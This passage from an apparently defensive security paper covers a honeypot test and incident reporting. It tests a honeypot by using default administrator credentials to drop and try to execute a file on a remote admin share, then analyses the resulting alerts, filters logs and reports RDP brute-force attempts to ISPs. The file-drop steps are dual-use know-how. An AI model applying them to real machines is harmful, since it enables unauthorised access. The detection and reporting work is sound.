6.2.1. Honey Pot Example Walkthrough

Open CIFS File Drop Tester and add the IP address to the host field. Type the user name “administrator” and the password “password”. Click the list shares on remote host button which will populate shares list. Remove all shares but the open and limited administrator share from the list.

Select the test file that will be dropped and click the Copy Local File to Network Shares button. This successfully copies the local file to the remote share which populates the file drop list with the UNC file path. Click to highlight the file from the dropped file list and click the execute selected button which results in a execute failed error.

Analyzing the shares reveals files that were recently created. The security permissions on the file list Administrator as having full control over the file. Looking at

the alerts generated by RHIPS the client user name, Administrator successfully performed a network logon and opened the identified files in the shares for WriteData or AddFile. The creation time stamp on the file matches that of the event recorded in the alerts.log.

The alerts.log also contained a failed logon event for the user account running the CIFS File Drop Tester application followed by a success for the guest account. The evidence collected does not show any open files. The net sessions output does list a session with a remote host using null username. That same remote host's IP shows up in the Windows firewall log.

7. Incident Reporting

Analyzing a honey pot it was noticed the same computer attempting brute force access on more than one occasion. Compromised or attacker controlled systems will not likely resolve themselves until notification is received. The unwanted behavior will continue until someone takes action. Alerting concerned parties about the observed behavior will hopefully initiate a reaction that leads to the remediation of further abuse.

7.1. Remote Logon Incident Reporting

Malicious actors aren't just attacking one target they are attacking the internet at large. Reporting an incident can prevent future attacks and can help the internet community. This example of incident reporting is for unauthorized remote logon attempts. A honey pot system running Windows XP was exposed to the internet on port 3389 allowing inbound RDP connections (Ducklin, 2012). Warning banners were configured to inform that unauthorized access attempts would be recorded and reported to the ISP and/or law enforcement (Microsoft, 2013).

RDP Failed Logons

Filter detection to Event ID 529 from the security event lot with a source of security, category of Logon/Logoff, audit failure type, from any user, with description Logon Failure and sub string contains Logon Type:%TAB%10. Set 0 instances before

alerting, 0 instances to kick off action, 3 hours to go back in logs for event aggregation, get IP address using port 3389 and gather evidence.

RDP Connections

Filter detection to Event ID 515 from the Security Event log. Set 0 instances before alerting, 180 minutes to go back in logs for event aggregation, get IP address using port 3389, gather evidence, and restrict IP address correlation timeframe to go back in the logs for 5 seconds.

Ensure all policies are configured, such as warning banners, auditing and logging. Regardless if a honeypot is used events need to be recorded and captured so as not to be overwritten. Verify that NTP is enabled and functioning properly on all devices. Also confirm that the date and time is accurate. Gather the evidence to a central location for processing. Investigate how to report the abuse to the provider.

Visit IANA to see which registrar (AfriNIC, APNIC, ARIN, LACNIC, RIPE NCC) to do the WHOIS look up through given the IP address space. Visit the registrar and perform a WHOIS lookup on the IP address. This should provide an abuse contact or at least some kind of contact. If the company name was obtained from the WHOIS record or by doing a reverse lookup on the IP address check to see if there are any special contacts or instructions for reporting abuse.

If no abuse contact is found or errors were encountered with mail delivery try abuse@, security@, postmaster@, root@ or webmaster@ domain contacts. Another option is to submit to 3rd party such as mynetwatchman.com.

Windows event log and firewall data are retrieved by RHIPS. For lack of syslog a SMB gateway firewall is configured to SMTP connection logs for the port 3389 forward rule trigger to a mailbox on a mail server. The following batch file and command are used to filter out the needed IP addresses from the logs (Savill, 2000; Skoudis, 2008):

(Filter_Logs.bat):

for /r "C:\Inetpub\mailroot\Mailbox\rhythmengineering.com\P3_Alerts.mbx" %%i in (*) do type "%%i" | find "%1" >> d:\Flogs\%1.log

Filter_Logs.bat [IP.Address]

Internet service providers will want to know what time zone the logs are in (Time Warner Cable, 2010). This allows the ISP to confirm on their end and identify the subscriber utilizing the reported IP address. Some may even require the logs submitted be in UTC/GMT. If operating a honey pot exposed to the internet to gather evidence for reporting to ISPs consider changing the system time zone to UTC/GMT. For systems that utilize an offset from UTC a log time converter may be an option.

Once logs have been gathered UTC Log Converter is used to convert the time stamps in the logs to UTC (Boyle, 2013d). UTC Log Converter has a GUI for log processing, but also works with parameter commands. The first parameter is the input path which specifies the path to the file(s) needing time zone conversion. The second parameter is the date format example used to identify the date.

The third parameter is the output path which specifies the file or folder path for the converted log files to be placed. The forth parameter is output format where "-o1" = 'M/D/YYYY 0:00:00 PM, "-o2" = 'MM/DD/YYYY 00:00:00 and "-o3" = 'YYYY/MM/DD 00:00:00. The fifth parameter used "-c" specifies to convert the time stamp using the offset. Optional parameter is the offset value which if not specified will be the current offset to UTC on the system.

(Convert_Logs.bat):

UTCLC.exe "D:\RDP\Event\New\" "07/06/2012 08:11:12" "D:\RDP\UTC_Event" -o2 -m1 -c

UTCLC.exe "D:\RDP\Firewall\New" "2012-07-06 08:11:07" "D:\RDP\UTC_Firewall" -o2 -m2 -c

UTCLC.exe "D:\RDP\Network_Firewall\New" "2012-07-06 08:11:17" "D:\RDP\UTC_Network_Firewall" -o2 -m2 -c

Once log files have been converted to UTC verify the conversion was done correctly and that the time stamps line up across logs. When reporting an incident via

email message does not overwhelm the ISP with logs. A sampling of logs should be sufficient. Even if the logs have been converted to UTC be sure to specify that is the offset (x-arf.org community, 2010).

It's a good idea to put the offending IP in the subject line as some ISPs request this be done. Also providing a name and contact info such as a phone number can help with incident resolution. Not all ISPs support attachments so avoiding attachments where not specified will ensure all information is received. Due to only being able to retain a few days of logs, reporting incidents in a timely manner will increase the chance the responder's logs have not rolled yet (Baldwin 2002).

8. Conclusions

Event monitoring IPS can be tied into and drive various solutions. These can include preventing network enumeration via a honey port, blocking remote password guessing, gathering evidence, or even operating as part of a honey pot. Incident response can only occur once and incident is identified. Implementing new ways of identifying events as deviations from normal activity can help confirm and respond to incidents. Once an incident is confirmed, reporting the incident to the concerned parties can help prevent further attacks from the identified source.

9. References

4don4i. (2012). *how to hack RDP's + tools - HOT !!!* Retrieved from http://www.hackcommunity.com/Thread-how-to-hack-RDP-s-tools-HOT

Anderson, E. (2009). *Windows Event Log - email notification*. Retrieved from serverfault.com: http://serverfault.com/questions/47953/windows-event-log-email-notification

Baldwin, L. (2002). *Guidelines for Reporting Port Probe Activity*. Retrieved from MyNetWatchman: http://www.mynetwatchman.com/scanguide.asp

Bitton, T. (2011). *Morto Post Mortem: Dissecting a Worm*. Retrieved from Impreva Data Security Blog: http://blog.imperva.com/2011/09/morto-post-mortem-a-worm-deep-dive.html

Boyle, R. (2012). *CharCode Array Decoder*. Retrieved from Rhythm's Homepage: http://www.rhythmengineering.com/charcodearraydecoder.htm

Boyle, R. (2013a). *CIFS File Drop Tester*. Retrieved from Rhythm's Homepage: http://www.rhythmengineering.com/cifsfiledroptester.htm

Boyle, R. (2013b). *Port Knock Verifier*. Retrieved from Rhythm's Homepage: http://www.rhythmengineering.com/portknockverifier.htm
Boyle, R. (2013c). *Rhythm Host Intrusion Prevention System*. Retrieved from Rhythm's Homepage: http://www.rhythmengineering.com/rhips.htm
Boyle, R. (2013d). *UTC Log Converter*. Retrieved from Rhythm's Homepage: http://www.rhythmengineering.com/utclogconverter.htm
Brezinski, D., & Killalea, T. (2002). *Guidelines for Evidence Collection and Archiving*. Retrieved from The Internet Engineering Task Force: http://www.ietf.org/rfc/rfc3227.txt
Cluley, G. (2009). *Passwords used by the conficker worm*. Retrieved from nakedsecurity: http://nakedsecurity.sophos.com/2009/01/16/passwords-conficker-worm/
Craig. (2012). *CraigWiki: EventLogMonitor*. Retrieved from craigandliz.homedns.org: http://craigandliz.homedns.org/cw/EventLogMonitor
Ducklin, P. (2012). *Microsoft RDP - Remote Desktop Protocol or Routine Darkside Probe?* Retrieved from nakedsecurity: http://nakedsecurity.sophos.com/2012/09/07/microsoft-rdp-remote-desktop-protocol-or-routine-darkside-probe/
Grimes, R. A. (2005). *Honeypots for Windows.* Apress.
Henry, P. (2009). *Best Practices in Digital Evidence Collection*. Retrieved from SANS Computer Forensics and Incident Response Blog: http://computer-forensics.sans.org/blog/2009/09/12/best-practices-in-digital-evidence-collection/
Hite, P. (2009). *Cracking & Defending a Terminal Server*. Retrieved from Paul Hite: http://www.paulhite.com/2009/12/cracking-defending-terminal-server.html
Hoglund, G. (2012). *Understanding Chinese APT Hackers: Attribution, Attack Trends and Why It Matters*. Retrieved from https://www.sans.org/webcasts/understanding-chinese-apt-hackers-attribution-attack-trends-matters-95604
Jones, N. (2012). *The Social Media Side of Incident Response: How prepared are you?* Retrieved from https://www.brighttalk.com/webcast/288/49709
Krzywinski, M. (2012). *Port Knocking Implementations*. Retrieved from portknocking.org: http://portknocking.org/view/implementations
Lawson, L. (2012). *Incident Response: Are You Prepared*. Retrieved from https://www.brighttalk.com/webcast/5416/26619
Lee, R., & Faculty, S. D. (2012). *SANS Digital Forensics and Incident Response Poster*. Retrieved from SANS Computer Forensics and Incident Response Blog: https://blogs.sans.org/computer-forensics/files/2012/06/SANS-Digital-Forensics-and-Incident-Response-Poster-2012.pdf
Lyon, G. (2009). *Ncat - Netcat for the 21st Century*. Retrieved from nmap.org: http://nmap.org/ncat/
Merzlikin, S. (2004). *Writing NT service using VB6/VB5*. Retrieved from smsoft.ru: http://www.smsoft.ru/en/ntservice.htm

Microsoft. (2005). *The Windows XP-based computer may run slowly and you may receive Dumprep.exe error messages*. Retrieved from Microsoft Support: http://support.microsoft.com/kb/899870

Microsoft. (2009). *Netsh Commands for Windows Firewall*. Retrieved from TechNet: http://technet.microsoft.com/en-us/library/cc771046%28v=WS.10%29.aspx

Microsoft. (2011). *Microsoft Security Intelligence Report volume 12.*

Microsoft. (2012a). *Configure Network Level Authentication for Remote Desktop Services Connections*. Retrieved from TechNet: http://technet.microsoft.com/en-us/library/cc732713.aspx

Microsoft. (2012b). *Connecting to WMI on a Remote Computer (Windows)*. Retrieved from MSDN: http://msdn.microsoft.com/en-us/library/windows/desktop/aa389290(v=vs.85).aspx

Microsoft. (2012c). *Windows Server 2008 R2: Why Use Network Level Authentication?* Retrieved from technet.microsoft.com.

Microsoft. (2012d). *How to configure RPC dynamic port allocation to work with firewalls*. Retrieved from Microsoft Support: http://support.microsoft.com/kb/154596

Microsoft. (2012e). *How to use the "netsh advfirewall firewall" context instead of the "netsh firewall" context to control Windows Firewall behavior in Windows Server 2008 and in Windows Vista*. Retrieved from Microsoft Support: http://support.microsoft.com/kb/947709

Microsoft. (2012f). *Eventcreate*. Retrieved from Microsoft TechNet: http://technet.microsoft.com/en-us/library/bb490899.aspx

Microsoft. (2012g). *Setting Namespace Security with the WMI Control (Windows)*. Retrieved from MSDN: http://msdn.microsoft.com/en-us/library/windows/desktop/aa393613(v=vs.85).aspx

Microsoft. (2012h). *Securing a Remote WMI Connection (Windows)*. Retrieved from MSDN: http://msdn.microsoft.com/en-us/library/windows/desktop/aa393266(v=vs.85).aspx

Microsoft. (2013). *Responding to IT Security Incidents*. Retrieved from TechNet: http://technet.microsoft.com/en-us/library/cc700825.aspx

Microsoft Corporation. (2012). Enhanced Mitigation Experience Toolkit v3.0 User Guide.

Null route. (n.d.). Retrieved from wikipedia.org: https://en.wikipedia.org/wiki/Null_route

Offensive Security Ltd. (2012). *SMB - Metasploit Unleashed*. Retrieved from Offensive Security: http://www.offensive-security.com/metasploit-unleashed/SMB_SMB_Login#smb_login

Porras, P., Saidi, H., & Yegneswaran, V. (2009). *An Analysis of Conficker's Logic and Rendezvous Points.* Retrieved from http://www.mtc.sri.com/Conficker/#Propagation

Rapid7. (2010). *Microsoft Help Center XSS and Command Execution*. Retrieved from Metasploit: http://www.metasploit.com/modules/exploit/windows/browser/ms10_042_helpctr_xss_cmd_exec

Rapid7. (2012). *MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability*. Retrieved from Metasploit: http://www.metasploit.com/modules/exploit/windows/browser/ie_execcommand_uaf

Russinovich, M. (2004). *PsExec*. Retrieved from WindowsITPro: http://www.windowsitpro.com/article/remote-computing/psexec-42919

Savill, J. (2000). *How do I pass parameters to a batch file?* Retrieved from WindowsITPro: http://www.windowsitpro.com/article/server-management/how-do-i-pass-parameters-to-a-batch-file-

Simmons, J. (2005). *Access WMI to nated machine*. Retrieved from social.msdn.microsoft.com: http://social.msdn.microsoft.com/Forums/en-US/netfxbcl/thread/99c278fe-df63-408b-b5b1-b95554b6b630/

Skoudis, E. (2008). *Penetration Testing Ninjitsu Part I: "Windows Command Line Hero"*. Retrieved from CORE Security: http://na-d.marketo.com/lp/coresecurity/PenTestingNinjitsuSeries.html

Skoudis, E. (2009). *Episode #46: Counting Matching Lines in Files*. Retrieved from Command Line Kung Fu: http://blog.commandlinekungfu.com/2009/06/episode-46-counting-matching-lines-in.html

Skoudis, E. (2010). *Command Line Kung Fu*. Retrieved from http://blog.commandlinekungfu.com/2010/01/episode-76-say-hello-to-my-little.html

Smith, R. F. (2005). *Understanding the Authenticated Users Group*. Retrieved from WindowsITPro: http://www.windowsitpro.com/article/user-management-and-profiles/understanding-the-authenticated-users-group-47772

Smith, R. F. (2013). *Logon Type Codes Revealed*. Retrieved from WindowsSecurity.com: http://www.windowsecurity.com/articles-tutorials/misc_network_security/Logon-Types.html

Strand, J. (2012). Offensive Countermeasures: Defensive Tactics that actually work.

Time Warner Cable. (2010). *Time Warner Regional Security and Abuse*. Retrieved from Road Runner Abuse Control: http://rrsecurity-abuse.com/abuse.php

Valderama, J., & Manahan, M. J. (2012). *Trend Micro Threat Encyclopedia*. Retrieved from http://about-threats.trendmicro.com/us/malware/pe_mustan.a

wcosug. (2008). *Hacking: tsgrinder*. Retrieved from wcosughacking.blogspot.com: http://wcosughacking.blogspot.com/2008/07/tsgrinder.html

x-arf.org community. (2010). *examples/ssh-report.txt*. Retrieved from x-arf.org: http://www.x-arf.org/examples/ssh-report.txt